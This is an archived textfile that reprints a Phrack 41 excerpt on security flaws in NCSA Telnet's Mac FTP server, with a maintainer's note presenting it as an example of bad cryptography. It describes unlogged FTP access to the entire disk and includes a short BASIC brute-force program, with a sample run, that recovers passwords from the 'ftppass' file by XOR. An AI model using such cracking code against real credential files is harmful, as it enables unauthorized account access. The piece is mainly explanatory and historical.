textfiles/programming/CRYPTOGRAPHY/ncsatelnpw.hac

A note from your ftp maintainer.

Clark Reynard <clark@metal.psu.edu> sent this in.  I am including it
not because it is particularly informative or sophisticated, but as an
illustration of what seems to be an implementation of truly *bad*
cryptography.

I would welcome a followup article by anyone who cares to actually
describe the algorithm in question and right a decrypter that makes a
more educated guess as to the answer.  If you want to start somewhere,
this looks like a good place.

Enjoy.

Eric
-----------------------------------------------------------------------------
Excerpted from PHRACK 41, file 9, by "Bobby Zero," 
"Shortcomings of AppleShare Networks"

NCSA TELNET
~~~~ ~~~~~~
5) The NCSA Telnet application allows a user to use his or her Mac as a telnet
client and wander around the Internet.  NCSA Telnet also handles incoming FTP
requests.  While this FTP function is easily disabled, many users keep it on
because they either use it regularly or don't even know it exists.

* Anyone with a valid username/password can log in to the Mac via FTP and then
change to the "root" directory and perform the normal FTP functions.. both send
and receive.  This means that *every* file on the Mac can be accessed from
*anywhere* on the Internet.  It should be noted that NCSA Telnet does not log
the "who & where" information, meaning there is no log of who used the machine,
meaning there is no way for an intruder to be "caught."

* The file "ftppass" contains the list of users allowed to use FTP on that
Macintosh.  If, by using one of the methods mentioned above, someone is able to
access it, it is easily cracked as it has a rather pathetic encryption scheme:
the data fork contains the user's name, a colon, and then an encrypted
password.  The password is easily decrypted; unless it is the entire 10
characters, the last few characters are in order.  That is, the next ASCII code
is 1 + the previous, etc.  Observe this from my "ftppass" file:

sample:ucetcr&'()

The first part, "sample," is the user's name.  The colon is the basic UNIX-like
delimiter, the rest is the password.  The "real" part of the password is the
characters "ucetcr" ... the remaining "&'()" are just spaces... how do you
tell?  It's in ASCII order.  Look up "&" on an ASCII chart and "'" will follow,
then "(" then ")" .. you get the idea.

This password can be discovered by short program XORing the encrypted
characters with a number between 0 and 255.  The program can either a) dump all
XOR results or b) if the password is not the maximum length, the program can
simply scan for a "space" [ASCII 032 decimal] in the password and print it.
The following "cracking" program is written in BASIC [hey, does anyone use that
any more?] and will allow you to decrypt the passwords.  If you can tell that
the password has spaces at the end, you can go ahead and delete line 110.
Otherwise, leave that line in and use your brain [remember your brain?] to
determine if the encrypted goop is a "real" word or just goop.

5 REM "ftppass" brute-force hacker
10 INPUT "Encrypted password:";I$
20 FOR X=1 TO 255
30 FOR Y=1 TO LEN(I$)
40 Y$=MID$(I$,Y,1)
50 YA=ASC(Y$)
60 N=X XOR YA
70 IF N=32 THEN F=1
80 N$=N$+CHR$(N)
90 NEXT Y
100 IF F THEN ?"Possible password:"N$
110 ?I$" 'encrypts' to "N$: REM U can delete this line if len<10
120 N$="":F=0
130 NEXT X
140 ?"Finished."

Sample run:  [with line 110 deleted]

Encrypted password:ucetcr&'()		[gotta type the whole thing]
Possible password:secret !./            [boy, that was tough!]
Possible password:rdbsdu! /.
Possible password:}km|kz./ !            [etc.. just smack ^C at this point.]

So the password is "secret" [clever, no?]

It should be noted that this program is rather inelegant as I haven't really
reversed the algorithm, just written a brute-force "hacker" for it.  This is
due to laziness on my part.  If I really wanted to do this properly, I would
FTP to the NCSA anonymous site and leech the 700k+ of source and "reverse" it
thataway.  I don't feel like doing that.  I am lazy.  This program works just
dandy for me... [I suspect the encryption program uses the users' name to
encrypt it, but I don't care enough to find out.]

I should say that I don't wish to offend the makers of NCSA Telnet or call the
application crap.  It is, indeed, an impressive piece of work; I simply feel
that there are some aspects of it which could use improvement... if not in
terms of security, then at least allowing the user to save selections to disk!

BTW- I know that NCSA Telnet is also available for the IBM.  I haven't tested
these with an IBM, but if it's a "true" port, these flaws should exist under
the IBM version as well.